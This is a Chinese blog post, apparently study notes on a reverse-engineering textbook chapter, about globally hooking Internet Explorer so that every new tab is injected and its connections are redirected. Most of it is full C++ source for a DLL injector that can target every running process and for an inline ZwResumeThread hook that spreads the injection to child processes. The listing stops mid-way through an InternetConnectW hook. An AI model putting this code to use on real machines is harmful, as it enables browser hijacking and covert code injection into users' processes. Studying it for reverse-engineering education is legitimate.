zoukankan      html  css  js  c++  java
  • 逆向工程核心原理——第三十四章

    高级全局API钩取:IE链接控制

    在上一章,API钩取虽然成功了,但是重新打开任务管理器,进程又会显示出来。

    为了解决这个问题,书本引出了”高级全局API“这个概念。

    ​ 钩取常规API,我们需要在进程创建时钩取其API:

    ​ 全局API钩取,则是在创建进程之前就钩取API:

    相对于低级API钩取,高级API钩取虽然可以保证效果,但是并不是万能的。

    几位下来我们利用实验,进行IE浏览器的全局API钩取:

    首先,我们先了解一下IE浏览器(包括现在大部分的浏览器)的选下卡,为了实现这个选项卡功能,IE浏览器使用了父子进程的运行形式(所有的选项卡都是子程序):

    因此我们只需要钩取父进程的ntdll!ZwResumeThread()API,那么子程序都会被自动钩取:

    cmd显示钩取成功,我们添加新的选项卡,在processxp中查看子程序是否钩取成功:

    子程序成功钩取,那么我们输入书上给出的地址,看看选项卡是否可以转跳到我们特定的地址:

    (转跳过程太快,只能截图到已经转跳过后的图片)

    最后附上代码:

    InjDll.cpp

    // InjDll.cpp  
    // reversecore@gmail.com  
    // www.reversecore.com  
    
    #include "windows.h"  
    #include "stdio.h"  
    #include "tlhelp32.h"  
    #include "io.h"  
    #include "tchar.h"  
    
    enum { INJECTION_MODE = 0, EJECTION_MODE };
    
    BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
    {
        TOKEN_PRIVILEGES tp;
        HANDLE hToken;
        LUID luid;
    
        if (!OpenProcessToken(GetCurrentProcess(),
            TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
            &hToken))
        {
            _tprintf(L"OpenProcessToken error: %u
    ", GetLastError());
            return FALSE;
        }
    
        if (!LookupPrivilegeValue(NULL,           // lookup privilege on local system  
            lpszPrivilege,  // privilege to lookup   
            &luid))        // receives LUID of privilege  
        {
            _tprintf(L"LookupPrivilegeValue error: %u
    ", GetLastError());
            return FALSE;
        }
    
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        if (bEnablePrivilege)
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        else
            tp.Privileges[0].Attributes = 0;
    
        // Enable the privilege or disable all privileges.  
        if (!AdjustTokenPrivileges(hToken,
            FALSE,
            &tp,
            sizeof(TOKEN_PRIVILEGES),
            (PTOKEN_PRIVILEGES)NULL,
            (PDWORD)NULL))
        {
            _tprintf(L"AdjustTokenPrivileges error: %u
    ", GetLastError());
            return FALSE;
        }
    
        if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
        {
            _tprintf(L"The token does not have the specified privilege. 
    ");
            return FALSE;
        }
    
        return TRUE;
    }
    
    BOOL IsVistaLater()
    {
        OSVERSIONINFO osvi;
    
        ZeroMemory(&osvi, sizeof(OSVERSIONINFO));
        osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    
        GetVersionEx(&osvi);
    
        if (osvi.dwMajorVersion >= 6)
            return TRUE;
    
        return FALSE;
    }
    
    typedef DWORD(WINAPI* PFNTCREATETHREADEX)
    (
        PHANDLE                 ThreadHandle,
        ACCESS_MASK             DesiredAccess,
        LPVOID                  ObjectAttributes,
        HANDLE                  ProcessHandle,
        LPTHREAD_START_ROUTINE  lpStartAddress,
        LPVOID                  lpParameter,
        BOOL                    CreateSuspended,
        DWORD                   dwStackSize,
        DWORD                   dw1,
        DWORD                   dw2,
        LPVOID                  Unknown
        );
    
    BOOL MyCreateRemoteThread
    (
        HANDLE hProcess,
        LPTHREAD_START_ROUTINE pThreadProc,
        LPVOID pRemoteBuf
    )
    {
        HANDLE      hThread = NULL;
        FARPROC     pFunc = NULL;
    
        if (IsVistaLater())    // Vista, 7, Server2008  
        {
            pFunc = GetProcAddress(GetModuleHandle(L"ntdll.dll"),
                "NtCreateThreadEx");
            if (pFunc == NULL)
            {
                _tprintf(L"MyCreateRemoteThread() : "
                    L"GetProcAddress("NtCreateThreadEx") failed!!! [%d]
    ",
                    GetLastError());
                return FALSE;
            }
    
            ((PFNTCREATETHREADEX)pFunc)(&hThread,
                0x1FFFFF,
                NULL,
                hProcess,
                pThreadProc,
                pRemoteBuf,
                FALSE,
                NULL,
                NULL,
                NULL,
                NULL);
            if (hThread == NULL)
            {
                _tprintf(L"MyCreateRemoteThread() : NtCreateThreadEx() failed!!! [%d]
    ",
                    GetLastError());
                return FALSE;
            }
        }
        else                    // 2000, XP, Server2003  
        {
            hThread = CreateRemoteThread(hProcess, NULL, 0,
                pThreadProc, pRemoteBuf, 0, NULL);
            if (hThread == NULL)
            {
                _tprintf(L"MyCreateRemoteThread() : CreateRemoteThread() failed!!! [%d]
    ",
                    GetLastError());
                return FALSE;
            }
        }
    
        if (WAIT_FAILED == WaitForSingleObject(hThread, INFINITE))
        {
            _tprintf(L"MyCreateRemoteThread() : WaitForSingleObject() failed!!! [%d]
    ",
                GetLastError());
            return FALSE;
        }
    
        return TRUE;
    }
    
    LPCTSTR GetProcName(DWORD dwPID)
    {
        HANDLE                  hSnapshot = INVALID_HANDLE_VALUE;
        PROCESSENTRY32          pe;
        BOOL                    bMore = FALSE;
    
        // Get the snapshot of the system  
        pe.dwSize = sizeof(PROCESSENTRY32);
        hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
        if (hSnapshot == INVALID_HANDLE_VALUE)
        {
            _tprintf(L"GetProcName() : CreateToolhelp32Snapshot() failed!!! [%d]",
                GetLastError());
            return NULL;
        }
    
        // find process  
        bMore = Process32First(hSnapshot, &pe);
        for (; bMore; bMore = Process32Next(hSnapshot, &pe))
        {
            if (dwPID == pe.th32ProcessID)
            {
                CloseHandle(hSnapshot);
                return pe.szExeFile;
            }
        }
    
        CloseHandle(hSnapshot);
    
        return NULL;
    }
    
    BOOL CheckDllInProcess(DWORD dwPID, LPCTSTR szDllPath)
    {
        BOOL                    bMore = FALSE;
        HANDLE                  hSnapshot = INVALID_HANDLE_VALUE;
        MODULEENTRY32           me = { sizeof(me), };
    
        if (INVALID_HANDLE_VALUE ==
            (hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)))
        {
            _tprintf(L"CheckDllInProcess() : CreateToolhelp32Snapshot(%d) failed!!! [%d]
    ",
                dwPID, GetLastError());
            return FALSE;
        }
    
        bMore = Module32First(hSnapshot, &me);
        for (; bMore; bMore = Module32Next(hSnapshot, &me))
        {
            if (!_tcsicmp(me.szModule, szDllPath) ||
                !_tcsicmp(me.szExePath, szDllPath))
            {
                CloseHandle(hSnapshot);
                return TRUE;
            }
        }
    
        CloseHandle(hSnapshot);
        return FALSE;
    }
    
    BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
    {
        HANDLE                  hProcess = NULL;
        HANDLE                  hThread = NULL;
        LPVOID                  pRemoteBuf = NULL;
        DWORD                   dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
        LPTHREAD_START_ROUTINE  pThreadProc = NULL;
        BOOL                    bRet = FALSE;
        HMODULE                 hMod = NULL;
        DWORD                   dwDesiredAccess = 0;
        TCHAR                   szProcName[MAX_PATH] = { 0, };
    
        dwDesiredAccess = PROCESS_ALL_ACCESS;
        //dwDesiredAccess = MAXIMUM_ALLOWED;  
        if (!(hProcess = OpenProcess(dwDesiredAccess, FALSE, dwPID)))
        {
            _tprintf(L"InjectDll() : OpenProcess(%d) failed!!! [%d]
    ",
                dwPID, GetLastError());
            goto INJECTDLL_EXIT;
        }
    
        pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
            MEM_COMMIT, PAGE_READWRITE);
        if (pRemoteBuf == NULL)
        {
            _tprintf(L"InjectDll() : VirtualAllocEx() failed!!! [%d]
    ",
                GetLastError());
            goto INJECTDLL_EXIT;
        }
    
        if (!WriteProcessMemory(hProcess, pRemoteBuf,
            (LPVOID)szDllPath, dwBufSize, NULL))
        {
            _tprintf(L"InjectDll() : WriteProcessMemory() failed!!! [%d]
    ",
                GetLastError());
            goto INJECTDLL_EXIT;
        }
    
        hMod = GetModuleHandle(L"kernel32.dll");
        if (hMod == NULL)
        {
            _tprintf(L"InjectDll() : GetModuleHandle("kernel32.dll") failed!!! [%d]
    ",
                GetLastError());
            goto INJECTDLL_EXIT;
        }
    
        pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
        if (pThreadProc == NULL)
        {
            _tprintf(L"InjectDll() : GetProcAddress("LoadLibraryW") failed!!! [%d]
    ",
                GetLastError());
            goto INJECTDLL_EXIT;
        }
    
        if (!MyCreateRemoteThread(hProcess, pThreadProc, pRemoteBuf))
        {
            _tprintf(L"InjectDll() : MyCreateRemoteThread() failed!!!
    ");
            goto INJECTDLL_EXIT;
        }
    
        bRet = CheckDllInProcess(dwPID, szDllPath);
    
    INJECTDLL_EXIT:
    
        wsprintf(szProcName, L"%s", GetProcName(dwPID));
        if (szProcName[0] == '')
            _tcscpy_s(szProcName, L"(no_process)");
    
        _tprintf(L"%s(%d) %s!!! [%d]
    ", szProcName, dwPID, bRet ? L"SUCCESS" : L"-->> FAILURE", GetLastError());
    
        if (pRemoteBuf)
            VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
    
        if (hThread)
            CloseHandle(hThread);
    
        if (hProcess)
            CloseHandle(hProcess);
    
        return bRet;
    }
    
    BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath)
    {
        BOOL                    bMore = FALSE, bFound = FALSE, bRet = FALSE;
        HANDLE                  hSnapshot = INVALID_HANDLE_VALUE;
        HANDLE                  hProcess = NULL;
        HANDLE                  hThread = NULL;
        MODULEENTRY32           me = { sizeof(me), };
        LPTHREAD_START_ROUTINE  pThreadProc = NULL;
        HMODULE                 hMod = NULL;
        DWORD                   dwDesiredAccess = 0;
        TCHAR                   szProcName[MAX_PATH] = { 0, };
    
        if (INVALID_HANDLE_VALUE ==
            (hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)))
        {
            _tprintf(L"EjectDll() : CreateToolhelp32Snapshot(%d) failed!!! [%d]
    ",
                dwPID, GetLastError());
            goto EJECTDLL_EXIT;
        }
    
        bMore = Module32First(hSnapshot, &me);
        for (; bMore; bMore = Module32Next(hSnapshot, &me))
        {
            if (!_tcsicmp(me.szModule, szDllPath) ||
                !_tcsicmp(me.szExePath, szDllPath))
            {
                bFound = TRUE;
                break;
            }
        }
    
        if (!bFound)
        {
            _tprintf(L"EjectDll() : There is not %s module in process(%d) memory!!!
    ",
                szDllPath, dwPID);
            goto EJECTDLL_EXIT;
        }
    
        dwDesiredAccess = PROCESS_ALL_ACCESS;
        if (!(hProcess = OpenProcess(dwDesiredAccess, FALSE, dwPID)))
        {
            _tprintf(L"EjectDll() : OpenProcess(%d) failed!!! [%d]
    ",
                dwPID, GetLastError());
            goto EJECTDLL_EXIT;
        }
    
        hMod = GetModuleHandle(L"kernel32.dll");
        if (hMod == NULL)
        {
            _tprintf(L"EjectDll() : GetModuleHandle("kernel32.dll") failed!!! [%d]
    ",
                GetLastError());
            goto EJECTDLL_EXIT;
        }
    
        pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "FreeLibrary");
        if (pThreadProc == NULL)
        {
            _tprintf(L"EjectDll() : GetProcAddress("FreeLibrary") failed!!! [%d]
    ",
                GetLastError());
            goto EJECTDLL_EXIT;
        }
    
        if (!MyCreateRemoteThread(hProcess, pThreadProc, me.modBaseAddr))
        {
            _tprintf(L"EjectDll() : MyCreateRemoteThread() failed!!!
    ");
            goto EJECTDLL_EXIT;
        }
    
        bRet = TRUE;
    
    EJECTDLL_EXIT:
    
        _tcscpy_s(szProcName, GetProcName(dwPID));
        _tprintf(L"%s(%d) %s!!! [%d]
    ", szProcName, dwPID, bRet ? L"SUCCESS" : L"-->> FAILURE", GetLastError());
    
        if (hThread)
            CloseHandle(hThread);
    
        if (hProcess)
            CloseHandle(hProcess);
    
        if (hSnapshot != INVALID_HANDLE_VALUE)
            CloseHandle(hSnapshot);
    
        return bRet;
    }
    
    BOOL InjectDllToAll(int nMode, LPCTSTR szDllPath)
    {
        DWORD                   dwPID = 0;
        HANDLE                  hSnapShot = INVALID_HANDLE_VALUE;
        PROCESSENTRY32          pe;
        BOOL                    bMore = FALSE;
    
        // Get the snapshot of the system  
        pe.dwSize = sizeof(PROCESSENTRY32);
        hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
        if (hSnapShot == INVALID_HANDLE_VALUE)
        {
            _tprintf(L"InjectDllToAll() : CreateToolhelp32Snapshot() failed!!! [%d]",
                GetLastError());
            return FALSE;
        }
    
        // find process  
        bMore = Process32First(hSnapShot, &pe);
        for (; bMore; bMore = Process32Next(hSnapShot, &pe))
        {
            dwPID = pe.th32ProcessID;
    
            if (dwPID < 100 ||
                !_tcsicmp(pe.szExeFile, L"smss.exe") ||
                !_tcsicmp(pe.szExeFile, L"csrss.exe"))
            {
                _tprintf(L"%s(%d) => System Process... DLL %s is impossible!
    ",
                    pe.szExeFile, dwPID, nMode == INJECTION_MODE ? L"Injection" : L"Ejection");
                continue;
            }
    
            if (nMode == INJECTION_MODE)
                InjectDll(dwPID, szDllPath);
            else
                EjectDll(dwPID, szDllPath);
        }
    
        CloseHandle(hSnapShot);
    
        return TRUE;
    }
    
    BOOL InjectDllToOne(LPCTSTR szProc, int nMode, LPCTSTR szDllPath)
    {
        int                     i = 0, nLen = (int)_tcslen(szProc);
        DWORD                   dwPID = 0;
        HANDLE                  hSnapShot = INVALID_HANDLE_VALUE;
        PROCESSENTRY32          pe;
        BOOL                    bMore = FALSE;
    
        // check if ProcName or PID  
        for (i = 0; i < nLen; i++)
            if (!_istdigit(szProc[i]))
                break;
    
        if (i == nLen)     // PID  
        {
            dwPID = (DWORD)_tstol(szProc);
    
            if (nMode == INJECTION_MODE)
                InjectDll(dwPID, szDllPath);
            else
                EjectDll(dwPID, szDllPath);
        }
        else                // ProcName  
        {
            // Get the snapshot of the system  
            pe.dwSize = sizeof(PROCESSENTRY32);
            hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
            if (hSnapShot == INVALID_HANDLE_VALUE)
            {
                _tprintf(L"InjectDllToOne() : CreateToolhelp32Snapshot() failed!!! [%d]",
                    GetLastError());
                return FALSE;
            }
    
            // find process  
            bMore = Process32First(hSnapShot, &pe);
            for (; bMore; bMore = Process32Next(hSnapShot, &pe))
            {
                dwPID = pe.th32ProcessID;
    
    
                if (dwPID < 100)
                    continue;
    
                if (!_tcsicmp(pe.szExeFile, szProc))
                {
                    if (nMode == INJECTION_MODE)
                        InjectDll(dwPID, szDllPath);
                    else
                        EjectDll(dwPID, szDllPath);
                }
            }
    
            CloseHandle(hSnapShot);
        }
    
        return TRUE;
    }
    
    BOOL Initialize(LPCTSTR szOption, LPCTSTR szDllPath)
    {
        // check Option (Injection/Ejection)  
        if (_tcsicmp(szOption, L"-i") &&
            _tcsicmp(szOption, L"-e"))
            return FALSE;
    
        // check DLL Path  
        if (_taccess(szDllPath, 0) == -1)
            return FALSE;
    
        return TRUE;
    }
    
    int _tmain(int argc, TCHAR* argv[])
    {
    #define BUFSIZE         (1024)  
        int     nMode = INJECTION_MODE;
        TCHAR   szPath[BUFSIZE] = L"";
    
        if ((argc != 4) ||
            (_tcsicmp(argv[2], L"-i") && _tcsicmp(argv[2], L"-e")))
        {
            _tprintf(L"
     %s (Ver 1.1.1) - Dll Injection/Ejection Utility!!!
    "
                L"   www.reversecore.com
    "
                L"   reversecore@gmail.com
    "
                L"
     USAGE  : %s <procname|pid|*> <-i|-e> <dll path>
    
    ",
                argv[0], argv[0]);
            return 1;
        }
    
        if (!GetFullPathName(argv[3], BUFSIZE, szPath, NULL))
        {
            _tprintf(L"GetFullPathName() failed! [%d]", GetLastError());
            return 1;
        }
    
        // check DLL Path  
        if (_taccess(szPath, 0) == -1)
        {
            _tprintf(L"There is no "%s" file!
    ", szPath);
            return FALSE;
        }
    
        // change privilege  
        if (!SetPrivilege(SE_DEBUG_NAME, TRUE))
            return 1;
    
        // Mode (Injection/Ejection)  
        if (!_tcsicmp(argv[2], L"-e"))
            nMode = EJECTION_MODE;
    
        // Inject Dll  
        if (!_tcsicmp(argv[1], L"*"))
            InjectDllToAll(nMode, szPath);
        else
            InjectDllToOne(argv[1], nMode, szPath);
    
        return 0;
    }
    

    redirect.cpp

    // redirect.cpp  
    
    #include "windows.h"  
    #include "wininet.h"  
    #include "stdio.h"  
    #include "tchar.h"  
    
    #define STR_MODULE_NAME                     (L"redirect.dll")  
    #define STATUS_SUCCESS                      (0x00000000L)   
    
    typedef LONG NTSTATUS;
    
    typedef struct _CLIENT_ID {
        HANDLE UniqueProcess;
        HANDLE UniqueThread;
    } CLIENT_ID;
    
    typedef struct _THREAD_BASIC_INFORMATION {
        NTSTATUS ExitStatus;
        PVOID TebBaseAddress;
        CLIENT_ID ClientId;
        ULONG AffinityMask;
        LONG Priority;
        LONG BasePriority;
    } THREAD_BASIC_INFORMATION;
    
    typedef NTSTATUS(WINAPI* PFZWRESUMETHREAD)
    (
        HANDLE ThreadHandle,
        PULONG SuspendCount
        );
    
    typedef NTSTATUS(WINAPI* PFZWQUERYINFORMATIONTHREAD)
    (
        HANDLE ThreadHandle,
        ULONG ThreadInformationClass,
        PVOID ThreadInformation,
        ULONG ThreadInformationLength,
        PULONG ReturnLength
        );
    
    typedef HINTERNET(WINAPI* PFINTERNETCONNECTW)
    (
        HINTERNET hInternet,
        LPCWSTR lpszServerName,
        INTERNET_PORT nServerPort,
        LPCTSTR lpszUsername,
        LPCTSTR lpszPassword,
        DWORD dwService,
        DWORD dwFlags,
        DWORD_PTR dwContext
        );
    
    BYTE g_pZWRT[5] = { 0, };
    BYTE g_pICW[5] = { 0, };
    
    void DebugLog(const char* format, ...)
    {
        va_list vl;
        FILE* pf = NULL;
        char szLog[512] = { 0, };
    
        va_start(vl, format);
        wsprintfA(szLog, format, vl);
        va_end(vl);
    
        OutputDebugStringA(szLog);
    }
    
    BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
    {
        TOKEN_PRIVILEGES tp;
        HANDLE hToken;
        LUID luid;
    
        if (!OpenProcessToken(GetCurrentProcess(),
            TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
            &hToken))
        {
            DebugLog("OpenProcessToken error: %u
    ", GetLastError());
            return FALSE;
        }
    
        if (!LookupPrivilegeValue(NULL,             // lookup privilege on local system  
            lpszPrivilege,    // privilege to lookup   
            &luid))          // receives LUID of privilege  
        {
            DebugLog("LookupPrivilegeValue error: %u
    ", GetLastError());
            return FALSE;
        }
    
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        if (bEnablePrivilege)
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        else
            tp.Privileges[0].Attributes = 0;
    
        // Enable the privilege or disable all privileges.  
        if (!AdjustTokenPrivileges(hToken,
            FALSE,
            &tp,
            sizeof(TOKEN_PRIVILEGES),
            (PTOKEN_PRIVILEGES)NULL,
            (PDWORD)NULL))
        {
            DebugLog("AdjustTokenPrivileges error: %u
    ", GetLastError());
            return FALSE;
        }
    
        if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
        {
            DebugLog("The token does not have the specified privilege. 
    ");
            return FALSE;
        }
    
        return TRUE;
    }
    
    BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
    {
        FARPROC pFunc = NULL;
        DWORD dwOldProtect = 0, dwAddress = 0;
        BYTE pBuf[5] = { 0xE9, 0, };
        PBYTE pByte = NULL;
        HMODULE hMod = NULL;
    
        hMod = GetModuleHandleA(szDllName);
        if (hMod == NULL)
        {
            DebugLog("hook_by_code() : GetModuleHandle("%s") failed!!! [%d]
    ",
                szDllName, GetLastError());
            return FALSE;
        }
    
        pFunc = (FARPROC)GetProcAddress(hMod, szFuncName);
        if (pFunc == NULL)
        {
            DebugLog("hook_by_code() : GetProcAddress("%s") failed!!! [%d]
    ",
                szFuncName, GetLastError());
            return FALSE;
        }
    
        pByte = (PBYTE)pFunc;
        if (pByte[0] == 0xE9)
        {
            DebugLog("hook_by_code() : The API is hooked already!!!
    ");
            return FALSE;
        }
    
        if (!VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect))
        {
            DebugLog("hook_by_code() : VirtualProtect(#1) failed!!! [%d]
    ", GetLastError());
            return FALSE;
        }
    
        memcpy(pOrgBytes, pFunc, 5);
    
        dwAddress = (DWORD)pfnNew - (DWORD)pFunc - 5;
        memcpy(&pBuf[1], &dwAddress, 4);
    
        memcpy(pFunc, pBuf, 5);
    
        if (!VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect))
        {
            DebugLog("hook_by_code() : VirtualProtect(#2) failed!!! [%d]
    ", GetLastError());
            return FALSE;
        }
    
        return TRUE;
    }
    
    BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
    {
        FARPROC pFunc = NULL;
        DWORD dwOldProtect = 0;
        PBYTE pByte = NULL;
        HMODULE hMod = NULL;
    
        hMod = GetModuleHandleA(szDllName);
        if (hMod == NULL)
        {
            DebugLog("unhook_by_code() : GetModuleHandle("%s") failed!!! [%d]
    ",
                szDllName, GetLastError());
            return FALSE;
        }
    
        pFunc = (FARPROC)GetProcAddress(hMod, szFuncName);
        if (pFunc == NULL)
        {
            DebugLog("unhook_by_code() : GetProcAddress("%s") failed!!! [%d]
    ",
                szFuncName, GetLastError());
            return FALSE;
        }
    
        pByte = (PBYTE)pFunc;
        if (pByte[0] != 0xE9)
        {
            DebugLog("unhook_by_code() : The API is unhooked already!!!");
            return FALSE;
        }
    
        if (!VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect))
        {
            DebugLog("unhook_by_code() : VirtualProtect(#1) failed!!! [%d]
    ", GetLastError());
            return FALSE;
        }
    
        memcpy(pFunc, pOrgBytes, 5);
    
        if (!VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect))
        {
            DebugLog("unhook_by_code() : VirtualProtect(#2) failed!!! [%d]
    ", GetLastError());
            return FALSE;
        }
    
        return TRUE;
    }
    
    BOOL IsVistaLater()
    {
        OSVERSIONINFO osvi;
    
        ZeroMemory(&osvi, sizeof(OSVERSIONINFO));
        osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    
        GetVersionEx(&osvi);
    
        if (osvi.dwMajorVersion >= 6)
            return TRUE;
    
        return FALSE;
    }
    
    typedef DWORD(WINAPI* PFNTCREATETHREADEX)
    (
        PHANDLE                 ThreadHandle,
        ACCESS_MASK             DesiredAccess,
        LPVOID                  ObjectAttributes,
        HANDLE                  ProcessHandle,
        LPTHREAD_START_ROUTINE  lpStartAddress,
        LPVOID                  lpParameter,
        BOOL                    CreateSuspended,
        DWORD                   dwStackSize,
        DWORD                   dw1,
        DWORD                   dw2,
        LPVOID                  Unknown
        );
    
    BOOL MyCreateRemoteThread(HANDLE hProcess, LPTHREAD_START_ROUTINE pThreadProc, LPVOID pRemoteBuf)
    {
        HANDLE      hThread = NULL;
        FARPROC     pFunc = NULL;
    
        if (IsVistaLater())    // Vista, 7, Server2008  
        {
            pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx");
            if (pFunc == NULL)
            {
                DebugLog("MyCreateRemoteThread() : GetProcAddress() failed!!! [%d]
    ",
                    GetLastError());
                return FALSE;
            }
    
            ((PFNTCREATETHREADEX)pFunc)(&hThread,
                0x1FFFFF,
                NULL,
                hProcess,
                pThreadProc,
                pRemoteBuf,
                FALSE,
                NULL,
                NULL,
                NULL,
                NULL);
            if (hThread == NULL)
            {
                DebugLog("MyCreateRemoteThread() : NtCreateThreadEx() failed!!! [%d]
    ", GetLastError());
                return FALSE;
            }
        }
        else                    // 2000, XP, Server2003  
        {
            hThread = CreateRemoteThread(hProcess, NULL, 0,
                pThreadProc, pRemoteBuf, 0, NULL);
            if (hThread == NULL)
            {
                DebugLog("MyCreateRemoteThread() : CreateRemoteThread() failed!!! [%d]
    ", GetLastError());
                return FALSE;
            }
        }
    
        if (WAIT_FAILED == WaitForSingleObject(hThread, INFINITE))
        {
            DebugLog("MyCreateRemoteThread() : WaitForSingleObject() failed!!! [%d]
    ", GetLastError());
            return FALSE;
        }
    
        return TRUE;
    }
    
    BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
    {
        HANDLE                  hProcess = NULL;
        HANDLE                  hThread = NULL;
        LPVOID                  pRemoteBuf = NULL;
        DWORD                   dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
        LPTHREAD_START_ROUTINE  pThreadProc = NULL;
        BOOL                    bRet = FALSE;
        HMODULE                 hMod = NULL;
    
        if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
        {
            DebugLog("InjectDll() : OpenProcess(%d) failed!!! [%d]
    ", dwPID, GetLastError());
            goto INJECTDLL_EXIT;
        }
    
        pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
            MEM_COMMIT, PAGE_READWRITE);
        if (pRemoteBuf == NULL)
        {
            DebugLog("InjectDll() : VirtualAllocEx() failed!!! [%d]
    ", GetLastError());
            goto INJECTDLL_EXIT;
        }
    
        if (!WriteProcessMemory(hProcess, pRemoteBuf,
            (LPVOID)szDllPath, dwBufSize, NULL))
        {
            DebugLog("InjectDll() : WriteProcessMemory() failed!!! [%d]
    ", GetLastError());
            goto INJECTDLL_EXIT;
        }
    
        hMod = GetModuleHandle(L"kernel32.dll");
        if (hMod == NULL)
        {
            DebugLog("InjectDll() : GetModuleHandle() failed!!! [%d]
    ", GetLastError());
            goto INJECTDLL_EXIT;
        }
    
        pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
        if (pThreadProc == NULL)
        {
            DebugLog("InjectDll() : GetProcAddress() failed!!! [%d]
    ", GetLastError());
            goto INJECTDLL_EXIT;
        }
    
        if (!MyCreateRemoteThread(hProcess, pThreadProc, pRemoteBuf))
        {
            DebugLog("InjectDll() : MyCreateRemoteThread() failed!!!
    ");
            goto INJECTDLL_EXIT;
        }
    
        bRet = TRUE;
    
    INJECTDLL_EXIT:
    
        if (pRemoteBuf)
            VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
    
        if (hThread)
            CloseHandle(hThread);
    
        if (hProcess)
            CloseHandle(hProcess);
    
        return bRet;
    }
    
    
    
    NTSTATUS WINAPI NewZwResumeThread(HANDLE ThreadHandle, PULONG SuspendCount)
    {
        NTSTATUS status, statusThread;
        FARPROC pFunc = NULL, pFuncThread = NULL;
        DWORD dwPID = 0;
        static DWORD dwPrevPID = 0;
        THREAD_BASIC_INFORMATION tbi;
        HMODULE hMod = NULL;
        TCHAR szModPath[MAX_PATH] = { 0, };
    
        DebugLog("NewZwResumeThread() : start!!!
    ");
    
        hMod = GetModuleHandle(L"ntdll.dll");
        if (hMod == NULL)
        {
            DebugLog("NewZwResumeThread() : GetModuleHandle() failed!!! [%d]
    ",
                GetLastError());
            return NULL;
        }
    
        // call ntdll!ZwQueryInformationThread()  
        pFuncThread = GetProcAddress(hMod, "ZwQueryInformationThread");
        if (pFuncThread == NULL)
        {
            DebugLog("NewZwResumeThread() : GetProcAddress() failed!!! [%d]
    ",
                GetLastError());
            return NULL;
        }
    
        statusThread = ((PFZWQUERYINFORMATIONTHREAD)pFuncThread)
            (ThreadHandle, 0, &tbi, sizeof(tbi), NULL);
        if (statusThread != STATUS_SUCCESS)
        {
            DebugLog("NewZwResumeThread() : pFuncThread() failed!!! [%d]
    ",
                GetLastError());
            return NULL;
        }
    
        dwPID = (DWORD)tbi.ClientId.UniqueProcess;
        if ((dwPID != GetCurrentProcessId()) && (dwPID != dwPrevPID))
        {
            DebugLog("NewZwResumeThread() => call InjectDll()
    ");
    
            dwPrevPID = dwPID;
    
            // change privilege  
            if (!SetPrivilege(SE_DEBUG_NAME, TRUE))
                DebugLog("NewZwResumeThread() : SetPrivilege() failed!!!
    ");
    
            // get injection dll path  
            GetModuleFileName(GetModuleHandle(STR_MODULE_NAME),
                szModPath,
                MAX_PATH);
    
            if (!InjectDll(dwPID, szModPath))
                DebugLog("NewZwResumeThread() : InjectDll(%d) failed!!!
    ", dwPID);
        }
    
        // call ntdll!ZwResumeThread()  
        if (!unhook_by_code("ntdll.dll", "ZwResumeThread", g_pZWRT))
        {
            DebugLog("NewZwResumeThread() : unhook_by_code() failed!!!
    ");
            return NULL;
        }
    
        pFunc = GetProcAddress(hMod, "ZwResumeThread");
        if (pFunc == NULL)
        {
            DebugLog("NewZwResumeThread() : GetProcAddress() failed!!! [%d]
    ",
                GetLastError());
            goto __NTRESUMETHREAD_END;
        }
    
        status = ((PFZWRESUMETHREAD)pFunc)(ThreadHandle, SuspendCount);
        if (status != STATUS_SUCCESS)
        {
            DebugLog("NewZwResumeThread() : pFunc() failed!!! [%d]
    ", GetLastError());
            goto __NTRESUMETHREAD_END;
        }
    
    __NTRESUMETHREAD_END:
    
        if (!hook_by_code("ntdll.dll", "ZwResumeThread",
            (PROC)NewZwResumeThread, g_pZWRT))
        {
            DebugLog("NewZwResumeThread() : hook_by_code() failed!!!
    ");
        }
    
        DebugLog("NewZwResumeThread() : end!!!
    ");
    
        return status;
    }
    
    
    
    
    HINTERNET WINAPI NewInternetConnectW
    (
        HINTERNET hInternet,
        LPCWSTR lpszServerName,
        INTERNET_PORT nServerPort,
        LPCTSTR lpszUsername,
        LPCTSTR lpszPassword,
        DWORD dwService,
        DWORD dwFlags,
